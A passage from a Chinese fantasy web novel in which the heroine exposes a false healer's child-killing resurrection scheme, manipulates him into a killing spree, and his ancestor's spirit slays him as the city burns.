他渐渐明白,那个人对他也非全心相交,而对方所说的以百人性命换取苍生安宁,也渐渐从百人,变成了千人、万人。 谢尧钰见过他几次,每一次他都在质问。 “恶童病究竟是什么病?!” 那人道:“若非以血供养,同生于你,你真以为你能活过千年?你的身体里有钟离氏的血,与他的极为相似,可也只是相似。你的身躯现在还载不动他的灵魂,不养得长生不死,坚不可摧,大事何成?” “那、那为何要用孩子的血?难道这世间没有恶人可杀了吗?” “妇人之仁!死的是善是恶,是老是幼,左右不过也才这么几个而已……百年一次的战争,一日就得死这么多了,你还觉得这点牺牲没有必要吗?” 谢尧钰觉得不对,他说得不对! 可他无法反驳,他只能每日不眠不休地看病、炼药,以此来缓解心中的罪恶与惶惶不安。 可他的内心知道,他一边在救人,一边在杀人。 挣扎的痛苦让他觉得自己不能再这样听之任之了,可他又觉得,前头已经牺牲了那么多条无辜的生命,此时放弃,岂不是让死者白死? 长生殿的阵法困住了他的脚步,而他的心却是被内疚和无助给困住的。 终于,当他看见无数家庭因恶童病分崩离析,谢尧钰的理智也崩坏了,他试图自杀来逃避,可他死不掉。 利刃杀不死他,毒药毒不死他,他身上的伤口总会很快愈合……而他还要困在这长生殿中,日复一日,年复一年,看着每一个面色憔悴的人对自己真诚的、友善的感激,而他们的身后,或许也有因恶童病而死的孩子。 谢尧钰不敢面对他们,可他也不能停下救人的脚步。 他总想着,若能弥补,哪怕多救一个人也是好的。 活着,生不如死。 死,却也成了他的奢望。 谢尧钰,从此成了渡仙城的招牌,也成了那些野心勃勃者手中的傀儡- “钟离羽。”云绡咬牙切齿地念出这个名字。 谢尧钰无法面对,他不敢再叫钟离羽,他怕自己而今的所作所为,辱没了钟离氏的门楣。 他成了行尸走肉的困兽,但求一剑解脱。 云绡意外、震惊、满心荒唐,不可置信:“你说,你和那个人作这么多的孽,是想要复活钟离湛?” 第96章 “太可笑了!”云绡虽这样说,可她半分也笑不出来。 “真可怕,真荒唐啊。”云绡气得气血上涌,她两步走到谢尧钰的面前,双手紧紧地掐着对方的脖子,如同泄愤一样用力、再用力。 她看着谢尧钰涨红着脸,嘴唇青紫,脖颈青筋跳动,仿佛下一刻就要死去,云绡又立刻将手松开。 大量的凉风涌入呼吸间,谢尧钰并未死,云绡的双手掐不死他,她也不想让谢尧钰再一次死而复生,害了更多的人。 云绡的心头忽而生出了一股悲哀感,她连忙回头去看钟离湛,见他愣神,云绡立刻扑到了他的怀中。 少女的声音温柔地安抚着:“别去想他 的话,也别去在意他说的,这世上哪有人作恶,要将理由置在另一个人身上的道理?” 云绡一边说着,一边顺抚着钟离湛的背后。 她的手臂搂住钟离湛宽大的肩背,声音如同撒娇一样柔软着道:“弯下腰来,钟离湛,我抱不住你。” 顿了顿,云绡又道:“抱抱我吧,钟离湛,我被他吓到了。” 委屈的声音如清风拂过耳畔,一遍遍抚摸在钟离湛背后的小手坚定地用自己的体温与他融合。 钟离湛感受着近在咫尺的云绡的心跳,嗅着怀中少女身上的馨香,他因听说了谢尧钰生平之事而起的波澜心绪,也在云绡的哄慰下慢慢抚平。 钟离湛并没有云绡想的那么脆弱,他也不会认为谢尧钰和那个黑衣的神秘人如今所作的一切真就归咎到他的身上了。 这世上的人欲行恶事,总会为自己找上无数借口,什么叫为了复活他才创造了渡仙城,甚至谢尧钰还打算牺牲自己,作为他灵魂的载体? 纵使他们真的盲目地认为这样可以复活他,钟离湛也不需要充斥着无数人血肉生命的载体。 那样的他,即便长生,又和过去的祁山鹤有何不同呢? 钟离湛不想成为祁山鹤,他也不需要他人如此歹毒的付出,他沉默,只是因为可怜那些因谢尧钰而来到渡仙城的人。 同生符的主符是从渡仙城中出去的。 每月的初一、十五,那些渡仙城中免费发散出去的丹药里融合着谢尧钰的血,同生符演化的咒文以药衣封印在丹药之中。 一旦有人服下丹药,药衣从他人的身体中融化,咒文便会在最短的时间内找到可以寄宿的最年轻的载体,因为最年轻的人,大多拥有最长的生命。 所以这几十年来恶童病祸害的大多都是五岁以内的孩童,而一旦没有五岁以下的孩童,它们也不吝于五岁以上的孩童。 一人传十,十人传百,数十年来无数孩童的性命断送在谢尧钰和那个神秘人的复活大计中,而作为被他们迫切想要复活的对象,钟离湛觉得悲哀与气愤。 长臂拥抱住云绡,钟离湛的手也安慰地抚摸过她的发丝,他低声告诉云绡:“我不气,你也别气了,好不好?” 云绡怎么可能不气? 她看钟离湛被自己哄好了,转身就去骂谢尧钰。 “你可想过?正因为有你在渡仙城里,所以才会有那么多人前赴后继地送死?你可想过,便是你们用尸山尸海堆砌出了钟 离湛的身体,那也不是他想要的!” “你们口口声声说因为你们相信钟离湛是明君,他可以让五族归一,可以让天下太平,所以才想要将他复活!可你们做的事,哪样不是有悖他的目的?假若!将来真有一天他借着你的身体复活,那他便再也洗刷不掉历史上对他的污蔑!无法抹去他真的背负无数冤魂的恶名!从此成为真正的杀神!” 谢尧钰从濒死的痛苦中缓和过来,再听云绡的这番话,犹如当头棒喝,那双因险些被掐死而猩红的双眼流下两行血泪。 他如何不知道呢? 他是后来才知道! 可他知道了,一切也迟了,他离不开,他死不掉,他无法改变现状! 那个人因为知道他与他早就不是一条心,所以他将他身边所有真正敬仰他的人全都换去!换了这些一眼便能看穿眼底欲望,满心算计,又丑恶又愚蠢的人。 因为只有这些人才能轻易被人掌控,只要许他们一点甜头,他们就会轮流盯着他。 从此以后,谢尧钰无法接触外来的人,无法开口说话,无法自由行动……每日的醒、睡都有规定的时间。 他看着那些贪婪的人服用着充满着血腥味的丹药,露出恶心的笑容。 “这可是好东西啊,吃了能让人保持年轻,延年益寿!” 而那个好东西里,掺杂着无数孩童的鲜血。 他们知道,却仍然心驰神往,不觉得有任何问题。 - “那个人是谁?!”云绡问谢尧钰。 谢尧钰摇头:“我不知道他是谁,我从未见过他的真容,即便我见过,也应当不认得他。” 云绡又问:“那你可知道,渡仙城之阵何解?” 谢尧钰的眼中满是痛苦:“解不掉的,从我出现在百岁镇之前这里的阵法就已经存在了……百岁镇里的人曾得的疫病其实与恶童病几乎一样,只是当时以血而生的咒文里并没有择幼而取的指令,是他走了一次捷近,便想次次都走捷近。” 这条捷近,越走,路就越偏。 而一个偏离了轨迹的道路,即便走到天荒地老也走不到目的地的。 “百岁镇只是他的一处牺牲地,或许算作他尝试的实验点之一,在来到百岁镇之前,我也听说过其他地方得了此类病症,虽未亲眼所见,但直觉告诉我那也是他做的。”谢尧钰将自己所知道的一切都告诉给了云绡。 “我去过湖族,那里有很多人都像百岁镇里的人一样,只是彼时并未传染,也就没人当其是疫病。” “百岁镇中或许因为多了个我,才会成为他眼里较为成功的实验点,所以他总不时来看,看那五脏在岁月中建成,还差六腑,还差四肢百骸……若你们不来,这里会不断扩大下去,直到成为一个真正的不死之人。” 巨大的,庞然的人,以山河五行而化,将所有力量全都汇聚到谢尧钰的身体里。谢尧钰从此与山河五行同生,山不平,水不止,那他就永远都会活着。 “姑娘,直觉告诉我你不是寻常人,你认得他却没死,没被他控制,没为他利用,或许从某种意义而言,他不如你。”谢尧钰道:“我无法解开渡仙城的阵,我也无法杀死自己,但你能杀了我,你能制止悲剧延续,对吗?” 谢尧钰不确定,可他心里有个声音很确定! 云绡看着他的双眼,眉头微蹙。 谢尧钰不是个坏人,可他确确实实做了坏事,他想用死来解脱,逃避。 呵! 云绡心中冷笑,这世上哪儿有这么好的事? 他以自己的盛名吸引了无数受害者,如今一死了之便想解脱了? 只要想到谢尧钰与那个人在背后谋划,或许有朝一日会将这些罪恶冠在钟离湛的头上,她就气,她就恨! 明明她的钟离湛是那么好,那么善良,公正,无私之人,可他却被封印,不见天日,遭受世人唾弃两千余年! 而或许这个想要复活他的人,待到苍生审判其罪涛涛时,轻飘飘地一句:我都是为了曦帝……便能将钟离湛重新拉回流言蜚语之中。 钟离湛察觉到云绡的情绪不对,他的手掌轻轻抚摸着云绡的头顶,对她道:“我并不在意。” 他活着时所见所闻,所经历的太多了,两百余年的生命让他早就见识过了多种人心,他也不会为了任何一个罪人动摇心性。 “绡绡,不气,乖,气多了自己难受呢。” 这回轮到钟离湛哄云绡了。 云绡抬眸朝他看去一眼,她牵着他的手,指尖轻轻在他的掌心里写下几个字,等待钟离湛的回答。 钟离湛虽不明所以,可他点头了。 云绡展颜一笑,她不气了,她有办法出气。 再度看向谢尧钰,云绡的眼中露出几分怜悯,她对谢尧钰 道:“谢神医,我知道这一切并非你所愿,是那个人蒙蔽了你,也控制了你,这么多年你受苦了。” 谢尧钰愣愣地看着她,云绡叹息:“但是死并不等同解脱,我而今倒是可以让你走得痛快,但渡仙城仍然在这里,这现成的城池与早已供血而生的五脏俱完好无损,他只需要再找到一个合适的载体,便会有另一个你重新坐在长生殿中!” 谢尧钰瞳孔骤缩。 云绡循循善诱:“你也不想害了另一个人,更不想悲剧重演对不对?” 谢尧钰点头。 云绡轻声:“我可以帮助你!谢神医,我帮你结束这一切,你纵然可以死得迅速逃避一切,但也可以用生命换得他人新生……只要是为这苍生好,纵使背负些许骂名也没关系吧,就当是为这些年你在无法自救中被迫做下的恶行赎罪。” 谢尧钰怔怔地望向云绡,他听见云绡问他是否愿意赎罪,赎去心中的罪孽,这样他的死也不算毫无意义,哪怕止损些许,至少也算功德一件。 谢尧钰点头答应,他当然愿意赎罪,他每日都在痛苦和自责中反复徘徊,如今有一个可以让他真正解脱的机会,为何不做! 云绡的眼很具有欺骗性,她长得太乖巧了,仿佛说的每一句都是真心为他着想的实话。 “我可以替你解开长生殿困住你的阵,破开这道阻拦你脚步的墙,但接下来……你要按照我说的做。” - 长生殿内,谢尧钰站在自己的石像旁,他紧紧地盯着石像上的自己腰间挂着的长剑。 他从来不佩剑,这座石像出现在长生殿时,那个人说因为钟离湛佩剑,他希望他和谢尧钰能真的复活钟离湛,这代表一个好的寓意和念想。 可原来五行相克,让他离开长生殿,破阵的关键也在这把剑上。 钟离湛有一把可以斩杀这世间所有罪恶之剑,他也可以举起这把剑,斩杀长生殿、不!整个渡仙城中的罪恶! 谢尧钰用力拔出了那把剑。 铮地一声,阳光下,剑锋灼灼。 长剑移位,五行破一,云绡借着这个机会,将钟离湛告诉她的方式把长生殿内其他几处所设的阵点一一破除。 一声少女的尖叫声划破寂静长空,让被药迷倒在长生殿前的百姓纷纷睁开了双眼。 橙红色衣裙如一簇烈火冲出长生殿,云绡的声音从高处几乎传遍整座陇山。 她道:“谢神医疯了!这一切都是骗局,大家快下山!” 才清醒的人被这一声“谢神医疯了”砸得头晕眼花,不明所以。 不过基于云绡不仅可以破除恶童病,甚至方才还驱使那些野猪避开他们救了他们一命,他们当然是愿意给云绡几分信任的。 只是……谢神医真的会疯吗? 一切都是骗局又是什么意思? 云绡指挥者李大牛和仲卿,还有徐容靳带着众人下山,有人畏惧野猪会再度醒过来,也有人因为云绡的话而心生惶恐。 还不等众人发出疑问,他们便看见手执长剑的谢尧钰从长生殿内走出来。 踏出长生殿的那一步,叫谢尧钰沉寂已久的心剧烈地颤动着。 他原来真的可以离开这里,云绡没有骗他! 那他手中的剑,也一定可以斩断罪孽,替自己赎上哪怕半分罪责。 坚定所想,谢尧钰手中的剑第一个对准的便是那每日看守他的六个人之一。 他不太会用剑,所以第一剑砍下去时那个人并未死,痛呼声传来,第二剑捅穿了对方的胸腔,这回连痛呼声都没有。 震惊、恐惧、疑惑…… 在鲜血溅上谢尧钰的脸时,百姓才惊声尖叫。 第97章 “杀人了!杀了人!” “谢神医杀人了!” - 他杀的是人吗? 他杀的,算是人吗? - 数不清的百姓奔下陇山。 曾经如同每一日新鲜血液供养陇山这颗庞然心脏,不断往上攀爬的寻常百姓们,这一天心脏供以身躯血液,大阵逆流。 谢尧钰看着那些逃跑之人眼中对他的恐惧,他的内心满是痛苦,却又渐渐变成了诡异的平静。 看他们逃离,最好永远也不要再来渡仙城,他就觉得压在他心中沉甸甸的罪孽似乎轻减了些许。 谢尧钰杀了一个人,便有第二个。 长生殿内的谁也不无辜,他们都是那个人按插在殿中的眼线! 还有渡仙城里的医馆大夫……他们是百岁镇中从那场诡异咒文造成的疫病里活下来的几百人的后代!其中甚至有些如今早就成了老者的孩童,曾被谢尧钰抱在怀中怜悯地哄慰,轻呼他们疼痛的伤处。 那些谢尧钰曾经真心对待过的人,后来成了一把把刺向他的利刃。 为了能够长寿,为了能够延续百岁镇中总出人瑞的佳话,他们默认了镇子的变化,他们用无数理由劝说谢尧钰……后来渡仙城声名远扬,他们沉溺在无数赞美与恭维之中,用那些害人的药,彰显自己的慈悲心肠,祸害了无数无辜的生命。 非但长生殿内的人该死,那些人也该死! 就让一切都回到过去,让百岁镇沉寂于数十年前的疫病中,将这几十年的错误拨乱反正! 浑身浴血的谢尧钰提着一把已经染红了的剑,在无数人的惊恐尖叫声中步下陇山。 他看着早就已经面目全非的百岁镇,感受着数十年来用尸骨堆积而成的山川骇人的气势,就像是乌沉沉的天朝谢尧钰迎面压来。 他无法呼吸,更无法原谅自己这些年作恶多端,即便非他所愿,可他的挣扎毫无用处,他能用沉默抵抗得了什么呢? 他错了! 大错特错! 谢尧钰冲入了第一座山的医馆内,看着医馆中本该老去,可年过半百却仍然满面红光之人,在他们的震惊和不解中没有给他们任何解释的机会,长剑贯胸。 炼丹的鼎下还燃烧着干枯药草杆的苦涩味道,这些药味,谢尧钰闻了许多年,他也是第一次从这些药味中嗅出了其中的血腥味。 从医馆出来时,谢尧钰的手上多了一把符,黄符在火光中跳跃、飞舞。 谢尧钰的掌心打开,任风将其吹向山川,落在山顶的每一所房屋上。 烈火腾起时,谢尧钰沉默地走向下一座山。 - “仙子!究竟发生了何事?!为何谢神医会突然杀人?” “是啊!长生殿内到底发生了什么?我们这些来看病的又该何去何从?” 渡仙城的主道上,从陇山退下来的百姓惶惶不安,他们急需要一个能够稳定他们的理由,也需要一个能拯救他们的英雄。 而这个时候,在他们眼前救下身患恶童病的孩子和他们的云绡,显然是最合适的人。 云绡回头看了一眼陇山的方向,上山供血的长道上空空荡荡,台阶之下,倚靠着陇山的一座肺山似乎有黑烟升起。 除了从陇山下来的人之外,还有原本在渡仙城中寻医问药的人也都因为疑惑跟了上来,他们依稀听说有一位仙子可以救恶童病,方才还听说谢神医疯了,到处杀人。 谣言未亲眼得见,却已然人云亦云地传开。 云绡将众人引到了唯一光秃秃的那座脾山旁。 脾山在五行中属土,云绡原本以为这里就是一个平凡的土丘,上面什么都没有种植是为了保留脾山土行的特质。 但徐容靳告诉她,这座山下曾有累累孩童的白骨,不过在那傀儡出现之后便消失了。 五行之土,为万物生长之始,行承载和容纳,而人身之白骨,亦是生长与承载的关键。 云绡曾从高处去看,还想过这座山可真小,若这座山是由白骨累成,那它可不小,甚至很大,大到骇人! 傀儡没有通天的本领,不可能一瞬间便将万人白骨移位摧毁,若他真有这个本事,那尾人族的若川山下也就不会有那么多个抛尸的深坑。 钟离湛以叶化符,云绡捏着那张叶符,转身丢向身后的小丘。 就像是一粒石子撞开了平静的湖面,涟漪荡开的刹那显现出那座小丘原本的真容。 曝晒在阳光下的,与泥土融合的山丘上,处处可见石子缝隙里伸出的白骨。 仲卿已然做好充足的准备,可在亲眼所见时还是毛骨悚然。 他陪着云绡逛遍整个渡仙城时也曾从这座小丘的脊背上走过,当时他踩着脚下暗色的泥土还觉得这座山怎的什么药草都没种,却没想过小丘连同渡仙城五行大阵,被掩埋的真容竟如此残忍。 恐惧的尖叫声从四面八方传来,李大牛忍不住将怀中还在沉睡的金宝紧紧抱住,他仔细看了一眼那座近在咫尺的山丘上,露出的白骨全都未能成形,小小一截,很显然是孩童的尸骨。 李大牛像是突然明白过来什么,他踉跄了两步想要往山丘走去,又被仲卿拦下。 眼泪夺眶而出,李大牛呜咽道:“那、那里有我的孩子,有我……三个孩子。” 李大牛这一哭,还有许多人也都反应过来了。 长生殿前,云绡质问殿中几人所有来渡仙城看恶童病的孩童去处时,那些人支支吾吾后又极力否认,原来是因为真相如此残忍不堪。 云绡要的就是将渡仙城存在的意义广而告之,让普天之下所有人从此以后都远离这里,唯有亲眼所见,才会让他们心生恐惧。 云绡画出一张传音符,那张传音符朝眼前 黑压压的人群上空飞去,少女清泠的声音撕开渡仙城的假面。 “渡仙城,非渡人城,谢神医的目的就是要用寻常百姓的骨血,将他自己造就成仙,这是邪术,是真正的妖法!” “恶童病出自渡仙城,无数孩童死在渡仙城,他们还要用这些孩子的尸骨炼五行,调阴阳,稳坐高台当世人眼中的半仙,何其残忍,何其恶毒!我在发现恶童病原本就是一串害人的咒文之时便质问过长生殿,谁料谢尧钰被我戳穿后恼羞成怒,还想杀人饮血!” “我非大夫,救不了你们身体上的病症,但我有良心,分是非,知善恶,不忍你们被蒙蔽伤害,大家也看到了!真相如此……在谢尧钰杀来之前,大家还是早日离开渡仙城,从此以后不要再来,以免那未尽的咒文顺血而爬,溜出城池,害了诸位的家人。” 传音符燃尽,云绡言尽于此。 她的话有理有据,那累累白骨就在众人眼前,谁能不信? 正如云绡所说,这些人都是为了求活而来,谁都不想因此死在渡仙城中。 有一个人带头离开,剩下的人也都不管不顾,连放置在客栈里的行李也不敢再回去讨,纷纷朝已然关闭的城门涌去。 云绡对仲卿道:“你与徐容靳配合,让这些人安然离开渡仙城,但要注意,切莫放漏了原本就属于渡仙城,属于那百岁镇中人后代的那些人。” 仲卿点头答应,可又有些为难,这么多人,如何疏散? 从云绡开口说话时便一直苍白着脸沉默的徐容靳突然开口:“我让阿飞帮忙吧。” “谁是阿飞?”仲卿问。 徐容靳指着一侧屋檐上正在啄羽的乌鸦道:“那就是阿飞。” 云绡有些意外地朝徐容靳看去。 在徐容靳抬起手时,几只乌鸦从不同的方向飞了过来,他半垂着头,手指轻轻抚弄着乌鸦的羽毛,似是与它们低语了几句什么之后,便将乌鸦放飞。 徐容靳敛藏了神色,对云绡道:“你、你告诉他们,跟着鸟走。” 云绡落在徐容靳身上的目光稍稍久了一些,又是一张传音符被弹飞出去。 恰时那几只乌鸦引来了许多鸟雀,飞鸟排成一排,同时飞向不同的方向,指引那些逃亡的人们哪条路能更快离开这里。 仲卿一看没自己的事儿了,伸手轻轻拍了一下徐容靳的肩膀道:“没想到你还真挺有本事的,真是老夫的好弟弟。” 徐容靳的眼神意味深长地落在仲卿身上,又看向他拍着自己肩膀的皱巴巴的手掌,抿了抿唇,几度想要开口,可怎么也无法出声。 眼看着那边山上已经彻底烧起来了,火光冲天,也不知想要赎罪的谢尧钰走到了哪里。云绡还得去谢尧钰的身边守着,尽量别让他再一次死而复生,否则会有更多的孩子白白受罪。 她的目光一直在徐容靳的身上,终于开口:“你还有什么要说的吗?” 徐容靳没看她,沉默着。 云绡又道:“若不说,我就走了。” 云绡在心里数了三声之后转身就走。 徐容靳见她行事果断,心中的纠结犹豫又被打散,他连忙抬头对云绡道:“他叫谢尧钰!他、他的身体里有神鬼蛊!” 云绡脚下一顿。 她想起来了,方才传音符传出去的时候她提到了谢神医的名字,想必是那个名字让徐容靳想起了什么。 又或许是因为他亲眼面对了那个神秘人,潜藏的记忆在某些特定的时刻重新浮出水面了。 云绡抿了抿唇,跨步离开的时候抬手捂着自己的心口,感受掌心处的跳动,眼中闪过些许疑惑。 钟离湛目睹一切,见她如此,开口道:“是不是觉得心里不舒服?” 云绡用力地点了一下头:“明明没有受伤,心跳正常,呼吸也正常,可就是感觉不对劲。” 钟离湛的手指轻轻戳了一下云绡的脸颊道:“因为人生而有情,你对他好,他知道,所以他会提醒你。而他对你好,你也知道,才会担心他想起来一些事后,你们难以恢复从前的模样。” 云绡沉默了会儿,又摇头:“不对!我才不会在意除了你以外的其他人,我完完全全的,就是你一个人的……同理,你也一样。” 她抬起头,眼神带着几分凶狠:“你别想糊弄我打破标准,日后好方便你的心中多出其他人!” 钟离湛看她龇牙,眉目柔和了瞬,牵起云绡的手道:“你明知道……” 双目对视,云绡有些烦她与钟离湛竟然有如此默契,只需一眼,他们就能看穿彼此的内心。 而她此刻的心绪,在他眼中无所遁形。 “绡绡,一个健康的人,会对不同的人拥有不同的感情,这很正常,也完全不影响我独属于你的事实。” “我不曾经历过你的过去,但我听你说过,也从旁人那里看得出来从前没有人对你好。我很心疼你,怜惜你,我希望这世上能多一些人对你好,能让你感受到幼时不曾感受的温暖,希望你能有亲人,有好友,也有挚爱……我希望你日后每一天都是快乐的。” 钟离湛的手,盖住了云绡抚摸着心口的手背道:“嗯,你看,拥有七情六欲一颗心的人,才算真的活着。” 云绡看向触碰自己的宽大手掌,像是他掌心里传来的温度,抚平了她心中难以言喻的一丝酸涩不安。 可她嘴上还是要说:“若他日后冷淡,我就赶走他。” “好,若他冷淡,我们就不要他这个儿子了。” 钟离湛说完,云绡愣了一下,朝他眨巴眨巴眼:“你……是在说笑吗?” “嗯。”钟离湛俯身凑近她:“笑一笑,好不好?” 云绡扁嘴:“笑不出来。” 钟离湛朝她扬起唇角:“那我给你笑一笑。” 第98章 云绡被钟离湛哄着,很快心情便转好了。 果然,钟离湛比任何人都要重要,只要有他在,其他什么人做什么事都无所谓。 钟离湛跟着云绡走一半突然被人抱住,他有些失笑地看向将脸埋在自己怀里的少女,手掌刚抚上她的后脑打算顺一顺安抚一下,便感受到胸膛传来一丝柔软的触碰。 云绡的鼻尖蹭了蹭他心脏跳动的地方,撅嘴亲了一下他的心口,再抬眸,一双眼像是弯月一样,笑盈盈道:“钟离湛,你真好。” 肌肤相贴,心口处被亲过的酥麻感未消,钟离湛克制着不去吻云绡,他知道现在这个时机不合适,他们的不远处还传来了一些逃跑的百姓惊慌失措的声音。 可身体太过诚实,难以自控,叫云绡立刻发现了他的变化。 圆眼一瞪,云绡垂眸朝下看了一眼,还不等她看见什么呢,钟离湛便将她扣在怀里按了按,不许她看。 他的耳廓有些红,表情装得淡然四肢却不自在地僵硬着。 钟离湛在面对云绡狡黠的笑容时瞥过眼去,假装自己什么都不知道,内心唾骂:没用的东西! 云绡没觉得尴尬,反而因为自己轻易能挑起钟离湛的欲\望,看见他因 情\欲而起的面红耳赤,正得意洋洋。 内心被莫名又滚烫的情绪满足着,云绡那双小脚不安分地在地上踮啊踮的,柔软的皮肤蹭得钟离湛头皮发麻,心跳也愈发地快。 距离他心脏最近的云绡当然能听到他的心跳声,扑通扑通的,如同在她耳边擂鼓一样,他身上传来的炙热的温度,也烫得她腰腹发酸。 “等离开渡仙城,我们找个地方玩儿一下啊。”云绡说这话丝毫不觉得羞耻。 和自己喜欢的人做快乐的事,只要不是捅到大庭广众之下去,有何不好意思的? 钟离湛还没说什么呢,云绡便戳了一下他的胸膛道:“那符纸化水蛮好喝的,这次多喝两碗!” 钟离湛:“……” 他投降! 转移话题:“谢尧钰那边——” 云绡打断他道:“我当你答应啦!” 钟离湛:“……” 谢尧钰那边,云绡当然不会不管他,毕竟如今谢神医发疯就是她一手促成的。 谢尧钰可怜吗?一生行善却不得善终,坚行大道最后发现那竟是曲折弯路,为他人行医治病到头来又要背负着疯魔的恶名死去。 他当然可怜。 可云绡也觉得他可恨。 那个神秘的黑衣人可恶,他是明摆着的坏人,他的所作所为无需辩驳,若是可以,自然人人得而诛之。 可谢尧钰也同样可恶,他因为自己的愚蠢助纣为虐,残害无辜,云绡当然不会让他好过。 什么赎罪之说,不过是她随口编出来哄骗他的谎言。 谢尧钰此人经历了这样一场生死劫难却还是没能看透,真正害了他自己的就是他的软耳根,过去他轻信了那个神秘人,如今也轻信了云绡。 他的所作所为,就算将整个渡仙城里的人都屠尽了也无法弥补。 他凭什么能痛快的死去?凭什么最后在百姓的心中留下一个半仙神医的美名?凭什么将罪过怪在那个神秘人的身上就能得到解脱? 云绡就是要他将这渡仙城的黑锅背下,将若她没来,未来或许会发生在钟离湛身上的事,也加注在他的身上。 万事有因必有果,他谢尧钰该承受。 于是谢尧钰替云绡办了事,杀了那些该死之人,替他过去的愚蠢背了锅,抹去了自己曾经的功绩,死在流言蜚语之中,是云绡给他的最好的归宿- 云绡找到谢尧钰时,他连头发丝都是血红色的,那双不知杀了多少人的手上早就泥泞不堪,费力地握着长剑,浑浑噩噩地寻找下一座山川。 他看见云绡时一愣,嘴角扬起一抹苦涩的笑:“我听见了。” 云绡的传音符声音贯彻渡仙城,他想不听见都难。 谢尧钰所经之地,他干足了杀人放火之事,一把火符从他掌心飞了出去,又不知落在哪户人家的墙头上,沿着柴堆,把这罪恶之地烧个精光。 火符是云绡给他的,她与钟离湛想的一样,这样恶心的地方最好永远从世间消失,偌大陇山烧是烧不穿的,但渡仙城里以血肉铸成的房屋、城墙不是。 钟离湛也曾痛恨,自己身为一缕幽魂,无法破除渡仙城的大阵。 可他见到如今的谢尧钰,才真正明白云绡当时哄骗谢尧钰的话也不尽然是报复泄愤。 固然谢尧钰从神医跌下高台,成了残害百姓的妖魔,可他心中压着的大山似乎真的松动瓦解,能亲手解决除掉这些罪恶,也让他能得到片刻喘息。 满城荒唐,烈火丛生。 百姓跑得很快,天亮之前就全都离开了渡仙城,他们不敢回头,可城中冲天的火光好似照亮了他们归途的明灯,让他们不至于在黑夜中摔倒坎坷。 呼吸间的风都是血腥味…… 谢尧钰的双眼被血水糊住,他的视线不太清晰,看见云绡似乎有些重影,就好像她的身边又站了一个人。 他将手中的剑丢在地上,展开双臂,朝云绡开口:“动手吧。” 云绡看着谢尧钰因喘息而剧烈跳动的胸口,她问钟离湛:“他的神鬼蛊是在心口吗?” 是否只要挖下谢尧钰的心,他就会死? 钟离湛摇头:“不要轻举妄动。” 否则谢尧钰还会死而复活。 云绡想了想,她扯动钟离湛的袖摆道:“还是你来吧。” 钟离湛有些意外,他不认为云绡是不敢动手,她才不怕杀人。 云绡道:“你从见到他时起就猜到了他是你钟离氏的后代,也可能是在这世上唯一一个与你有血缘关系的后人,你看见他变成这般模样,心中应当也有些遗憾吧?” 遗憾钟离氏没落,唯一逃过了诅咒的后人却走上歧途。 让钟离湛亲自动手,解决不肖子孙,也让钟离湛了结他内心的那些许喟叹。 钟离湛会在意她的心绪,安慰她,云绡当然也能看出钟离湛面对谢尧钰过于沉默的原因。 钟离湛的确有些恨铁不成钢的意味,尤其是在知道谢尧钰配合着那个神秘人闯下滔天大祸时。可他也从来不是个重视亲情之人,否则当初也不会在曦族同族犯事之后,不顾念那也是他本族旁支而斩下对方的人头。 但,到底当时钟离氏兴盛。 两千余年过去,因他的名声而随之落败的氏族大家,萧条到仅剩伶仃一个,与钟离湛的记忆天差地别。 沉默,是因为钟离湛也不知要抒发些什么。 云绡给他亲手了结的选择,倒像是一双温柔的手,穿过他的胸腔轻轻抚慰着他跳动的心脏,小心翼翼地捧着,生怕他的心会因为谢尧钰受伤。 钟离湛的心没有受伤,他只觉得云绡那双手软得一塌糊涂,他对外坚不可摧的心防也在她的轻轻触碰下溃散,化作一汪泉,温暖了他的四肢百骸。 - 云绡安静地蜷在黑暗中,听钟离湛近在咫尺的心跳和呼吸。 云绡的眼睛看不见谢尧钰身上神鬼蛊的关键,钟离湛能看见,谢尧钰的身上不止一只神鬼蛊。 他不是那个神秘人选中的饲养神鬼蛊的对象,而是被对方选中的,将来或有一日成神的对象。 人的身体里有二十四条经脉,传说中的想要长生不老者需要用二十四只神鬼蛊填满他的经脉,达到洗髓易经的效果,从此以后他的身上拥有神明赐予的血脉,所以可以与天地同寿。 那样的人从某种意义而言,的确成了神,而真正的神却立于云天之上,俯瞰他们妄图成神做出的一切可笑行为。 即便是祁山鹤,他又真的成神了吗?他不过是在人间无法死去又拥有身躯的幽魂,他仍然是棋盘上的一粒棋子,而非能站在棋盘两侧,纵观棋局的操纵者。 那个人对谢尧钰的身体进行的改变,谢尧钰并不知情,钟离湛仔细数了一下,他的身体里有五只神鬼蛊。全都是当初从无数人的血肉中杀出重围的鬼蛊,又历经血脉洗礼,从无辜者的心口开出了妖异的花的神鬼蛊。 成熟的神鬼蛊以寻常办法是杀不死的。 正因为他们不死,被他们寄生的人也能长生。 谢尧钰看着眼前仿佛变了一个人的云绡,就像是回到那夜她用匕首掀开自己衣裳的时刻,他看着那双圆眼,从其中看出了与云绡完全不符的气质。 冷漠的,坚韧的,却是正气凛然。 钟离湛抬起手 比了个结印,而后将手抬起背到脖颈后方,以魂魄之力握住了那把无形无影的剑柄,掌心凝力,轻轻一拔便有破风声削平了周围的火焰。 借着火光前流动的风,谢尧钰似乎看见了“云绡”手中的那把剑,锋利的寒光闪过他的眼前,他甚至都没感受到疼痛,意识便迅速消散。 谢尧钰的身体一怔,他的呼吸停止,意识弥留的最后一刻是他仰躺在地上的时候,火光遮蔽了他的大半视野,可他的目光里仍然只有那一片星空。 人生遗憾太多了,未能在母亲床前尽孝,未能成为父亲心中正直之人,直到死,他也永远不能是钟离羽了。 谢尧钰想,如果他从未离开过东洲……没有那个如果。 谢尧钰倒下的时候,他五条经脉中的神鬼蛊在钟离湛那一剑之下化成齑粉,消散在夜风里。 周围的温度越来越高,大火几乎淹没了大半城池。 火焰爬上了谢尧钰的衣裳和发丝,他因为自己能够死去,最后露出的表情并不是狰狞的,甚至因为眼底的那一片星空而安详。 直到猩红的火吞没了他的双眼,吞噬了他的身躯,将他与整座渡仙城一并埋葬。 钟离湛将手中的剑收回,指尖金色的咒文转动,剑气在他一挥衣袖间化为乌有。 做完这一切,钟离湛抬眸朝陇山的方向看过,这一眼似乎跨越了距离,直勾勾的,如同鹰隼一样盯上了长生殿中小塔顶上的飞檐一角。 - 长生殿上,黑袍在风中猎猎,巨大的火光几乎冲天,将他数十年的付出毁于一旦。 不,不是数十年!是百年!千年! 他能放任这些人,不是因为舍得下渡仙城,而是因为他笃定这世上无人能杀神鬼蛊!这也就代表,无人能杀谢尧钰! 可谢尧钰死了。 黑袍斗篷之下,那双漆黑的眼瞳孔剧烈地震颤着。 他亲眼所见! 一把无形的剑贯胸而入,一剑毙命,谢尧钰死得毫无痛苦。 